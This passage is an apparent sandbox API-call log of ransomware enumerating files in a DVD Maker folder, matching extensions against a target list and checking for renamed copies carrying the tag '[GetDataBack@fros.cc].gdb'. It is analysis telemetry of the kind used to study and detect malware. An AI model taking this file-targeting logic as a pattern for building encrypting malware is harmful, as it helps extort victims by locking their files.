lstrlenW (lpString=".dbf") returned 4 [0130.660] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0130.660] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0130.660] lstrlenW (lpString=".1cd") returned 4 [0130.660] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0130.660] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0130.660] lstrlenW (lpString=".jpg") returned 4 [0130.660] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0130.660] lstrcmpiW (lpString1=".png", lpString2=".gdb") returned 1 [0130.660] lstrlenW (lpString="NextMenuButtonIcon.png") returned 22 [0130.660] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0130.812] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=3808) returned 1 [0130.812] CloseHandle (hObject=0x1a8) returned 1 [0130.812] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png")) returned 0x20 [0130.812] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.812] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.812] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png") returned 73 [0130.812] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png") returned 73 [0130.812] lstrlenW (lpString=".doc") returned 4 [0130.812] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0130.812] lstrlenW (lpString=".docx") returned 5 [0130.812] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1 [0130.812] lstrlenW (lpString=".pdf") returned 4 [0130.812] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0130.812] lstrlenW (lpString=".xls") returned 4 [0130.812] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0130.812] lstrlenW (lpString=".xlsx") returned 5 [0130.812] lstrcmpiW (lpString1=".xlsx", lpString2="n.png") returned -1 [0130.812] lstrlenW (lpString=".ppt") returned 4 [0130.812] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0130.812] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png") returned 73 [0130.812] lstrlenW (lpString=".zip") returned 4 [0130.812] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0130.812] lstrlenW (lpString=".rar") returned 4 [0130.812] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0130.812] lstrlenW (lpString=".bz2") returned 4 [0130.812] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0130.812] lstrlenW (lpString=".7z") returned 3 [0130.812] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0130.812] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png") returned 73 [0130.812] lstrlenW (lpString=".dbf") returned 4 [0130.812] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0130.813] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png") returned 73 [0130.813] lstrlenW (lpString=".1cd") returned 4 [0130.813] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0130.813] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png") returned 73 [0130.813] lstrlenW (lpString=".jpg") returned 4 [0130.813] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0130.813] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png") returned 73 [0130.813] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png") returned 73 [0130.813] lstrlenW (lpString=".doc") returned 4 [0130.813] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0130.813] lstrlenW (lpString=".docx") returned 5 [0130.813] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1 [0130.813] lstrlenW (lpString=".pdf") returned 4 [0130.813] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0130.813] lstrlenW (lpString=".xls") returned 4 [0130.813] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0130.813] lstrlenW (lpString=".xlsx") returned 5 [0130.813] lstrcmpiW (lpString1=".xlsx", lpString2="n.png") returned -1 [0130.813] lstrlenW (lpString=".ppt") returned 4 [0130.813] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0130.813] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png") returned 73 [0130.813] lstrlenW (lpString=".zip") returned 4 [0130.813] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0130.813] lstrlenW (lpString=".rar") returned 4 [0130.813] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0130.813] lstrlenW (lpString=".bz2") returned 4 [0130.813] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0130.813] lstrlenW (lpString=".7z") returned 3 [0130.813] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0130.813] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png") returned 73 [0130.813] lstrlenW (lpString=".dbf") returned 4 [0130.813] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0130.813] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png") returned 73 [0130.813] lstrlenW (lpString=".1cd") returned 4 [0130.813] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0130.813] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png") returned 73 [0130.813] lstrlenW (lpString=".jpg") returned 4 [0130.813] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0130.813] lstrcmpiW (lpString1=".png", lpString2=".gdb") returned 1 [0130.814] lstrlenW (lpString="ParentMenuButtonIcon.png") returned 24 [0130.814] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0130.814] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=3810) returned 1 [0130.814] CloseHandle (hObject=0x1a8) returned 1 [0130.814] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png")) returned 0x20 [0130.814] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.815] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.815] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png") returned 75 [0130.815] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png") returned 75 [0130.815] lstrlenW (lpString=".doc") returned 4 [0130.815] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0130.815] lstrlenW (lpString=".docx") returned 5 [0130.815] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1 [0130.815] lstrlenW (lpString=".pdf") returned 4 [0130.815] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0130.815] lstrlenW (lpString=".xls") returned 4 [0130.815] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0130.815] lstrlenW (lpString=".xlsx") returned 5 [0130.815] lstrcmpiW (lpString1=".xlsx", lpString2="n.png") returned -1 [0130.815] lstrlenW (lpString=".ppt") returned 4 [0130.815] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0130.815] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png") returned 75 [0130.815] lstrlenW (lpString=".zip") returned 4 [0130.815] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0130.815] lstrlenW (lpString=".rar") returned 4 [0130.815] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0130.815] lstrlenW (lpString=".bz2") returned 4 [0130.815] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0130.815] lstrlenW (lpString=".7z") returned 3 [0130.815] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0130.815] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png") returned 75 [0130.815] lstrlenW (lpString=".dbf") returned 4 [0130.815] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0130.815] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png") returned 75 [0130.815] lstrlenW (lpString=".1cd") returned 4 [0130.815] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0130.815] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png") returned 75 [0130.815] lstrlenW (lpString=".jpg") returned 4 [0130.815] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0130.815] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png") returned 75 [0130.815] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png") returned 75 [0130.815] lstrlenW (lpString=".doc") returned 4 [0130.815] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0130.815] lstrlenW (lpString=".docx") returned 5 [0130.815] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1 [0130.815] lstrlenW (lpString=".pdf") returned 4 [0130.815] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0130.816] lstrlenW (lpString=".xls") returned 4 [0130.816] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0130.816] lstrlenW (lpString=".xlsx") returned 5 [0130.816] lstrcmpiW (lpString1=".xlsx", lpString2="n.png") returned -1 [0130.816] lstrlenW (lpString=".ppt") returned 4 [0130.816] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0130.816] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png") returned 75 [0130.816] lstrlenW (lpString=".zip") returned 4 [0130.816] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0130.816] lstrlenW (lpString=".rar") returned 4 [0130.816] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0130.816] lstrlenW (lpString=".bz2") returned 4 [0130.816] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0130.816] lstrlenW (lpString=".7z") returned 3 [0130.816] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0130.816] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png") returned 75 [0130.816] lstrlenW (lpString=".dbf") returned 4 [0130.816] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0130.816] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png") returned 75 [0130.816] lstrlenW (lpString=".1cd") returned 4 [0130.816] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0130.816] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png") returned 75 [0130.816] lstrlenW (lpString=".jpg") returned 4 [0130.816] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0130.816] lstrcmpiW (lpString1=".png", lpString2=".gdb") returned 1 [0130.816] lstrlenW (lpString="PreviousMenuButtonIcon.png") returned 26 [0130.816] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0130.816] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=3819) returned 1 [0130.816] CloseHandle (hObject=0x1a8) returned 1 [0130.816] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png")) returned 0x20 [0130.817] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.817] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.817] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77 [0130.817] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77 [0130.817] lstrlenW (lpString=".doc") returned 4 [0130.817] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0130.817] lstrlenW (lpString=".docx") returned 5 [0130.817] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1 [0130.817] lstrlenW (lpString=".pdf") returned 4 [0130.817] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0130.817] lstrlenW (lpString=".xls") returned 4 [0130.817] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0130.817] lstrlenW (lpString=".xlsx") returned 5 [0130.817] lstrcmpiW (lpString1=".xlsx", lpString2="n.png") returned -1 [0130.817] lstrlenW (lpString=".ppt") returned 4 [0130.817] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0130.817] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77 [0130.817] lstrlenW (lpString=".zip") returned 4 [0130.817] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0130.817] lstrlenW (lpString=".rar") returned 4 [0130.817] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0130.817] lstrlenW (lpString=".bz2") returned 4 [0130.817] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0130.817] lstrlenW (lpString=".7z") returned 3 [0130.817] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0130.817] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77 [0130.817] lstrlenW (lpString=".dbf") returned 4 [0130.817] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0130.817] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77 [0130.817] lstrlenW (lpString=".1cd") returned 4 [0130.817] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0130.817] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77 [0130.817] lstrlenW (lpString=".jpg") returned 4 [0130.817] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0130.817] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77 [0130.817] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77 [0130.817] lstrlenW (lpString=".doc") returned 4 [0130.817] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0130.817] lstrlenW (lpString=".docx") returned 5 [0130.817] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1 [0130.818] lstrlenW (lpString=".pdf") returned 4 [0130.818] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0130.818] lstrlenW (lpString=".xls") returned 4 [0130.818] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0130.818] lstrlenW (lpString=".xlsx") returned 5 [0130.818] lstrcmpiW (lpString1=".xlsx", lpString2="n.png") returned -1 [0130.818] lstrlenW (lpString=".ppt") returned 4 [0130.818] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0130.818] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77 [0130.818] lstrlenW (lpString=".zip") returned 4 [0130.818] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0130.818] lstrlenW (lpString=".rar") returned 4 [0130.818] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0130.818] lstrlenW (lpString=".bz2") returned 4 [0130.818] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0130.818] lstrlenW (lpString=".7z") returned 3 [0130.818] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0130.818] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77 [0130.818] lstrlenW (lpString=".dbf") returned 4 [0130.818] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0130.818] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77 [0130.818] lstrlenW (lpString=".1cd") returned 4 [0130.818] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0130.818] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned 77 [0130.818] lstrlenW (lpString=".jpg") returned 4 [0130.818] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0130.818] lstrcmpiW (lpString1=".png", lpString2=".gdb") returned 1 [0130.818] lstrlenW (lpString="SceneButtonInset_Alpha1.png") returned 27 [0130.818] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0130.818] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=3133) returned 1 [0130.818] CloseHandle (hObject=0x1a8) returned 1 [0130.819] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png")) returned 0x20 [0130.819] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.819] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.819] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png") returned 78 [0130.819] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png") returned 78 [0130.819] lstrlenW (lpString=".doc") returned 4 [0130.819] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0130.819] lstrlenW (lpString=".docx") returned 5 [0130.819] lstrcmpiW (lpString1=".docx", lpString2="1.png") returned -1 [0130.819] lstrlenW (lpString=".pdf") returned 4 [0130.819] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0130.819] lstrlenW (lpString=".xls") returned 4 [0130.819] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0130.819] lstrlenW (lpString=".xlsx") returned 5 [0130.819] lstrcmpiW (lpString1=".xlsx", lpString2="1.png") returned -1 [0130.819] lstrlenW (lpString=".ppt") returned 4 [0130.819] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0130.819] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png") returned 78 [0130.819] lstrlenW (lpString=".zip") returned 4 [0130.819] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0130.819] lstrlenW (lpString=".rar") returned 4 [0130.819] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0130.819] lstrlenW (lpString=".bz2") returned 4 [0130.819] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0130.819] lstrlenW (lpString=".7z") returned 3 [0130.819] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0130.819] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png") returned 78 [0130.819] lstrlenW (lpString=".dbf") returned 4 [0130.819] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0130.819] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png") returned 78 [0130.819] lstrlenW (lpString=".1cd") returned 4 [0130.819] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0130.819] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png") returned 78 [0130.819] lstrlenW (lpString=".jpg") returned 4 [0130.819] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0130.819] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png") returned 78 [0130.819] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png") returned 78 [0130.820] lstrlenW (lpString=".doc") returned 4 [0130.820] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0130.820] lstrlenW (lpString=".docx") returned 5 [0130.820] lstrcmpiW (lpString1=".docx", lpString2="1.png") returned -1 [0130.820] lstrlenW (lpString=".pdf") returned 4 [0130.820] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0130.820] lstrlenW (lpString=".xls") returned 4 [0130.820] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0130.820] lstrlenW (lpString=".xlsx") returned 5 [0130.820] lstrcmpiW (lpString1=".xlsx", lpString2="1.png") returned -1 [0130.820] lstrlenW (lpString=".ppt") returned 4 [0130.820] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0130.820] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png") returned 78 [0130.820] lstrlenW (lpString=".zip") returned 4 [0130.820] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0130.820] lstrlenW (lpString=".rar") returned 4 [0130.820] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0130.820] lstrlenW (lpString=".bz2") returned 4 [0130.820] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0130.820] lstrlenW (lpString=".7z") returned 3 [0130.820] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0130.820] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png") returned 78 [0130.820] lstrlenW (lpString=".dbf") returned 4 [0130.820] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0130.820] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png") returned 78 [0130.820] lstrlenW (lpString=".1cd") returned 4 [0130.820] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0130.820] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png") returned 78 [0130.820] lstrlenW (lpString=".jpg") returned 4 [0130.820] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0130.820] lstrcmpiW (lpString1=".png", lpString2=".gdb") returned 1 [0130.820] lstrlenW (lpString="SceneButtonInset_Alpha2.png") returned 27 [0130.820] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0130.821] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=3518) returned 1 [0130.821] CloseHandle (hObject=0x1a8) returned 1 [0130.821] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png")) returned 0x20 [0130.821] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.821] CreateFileW 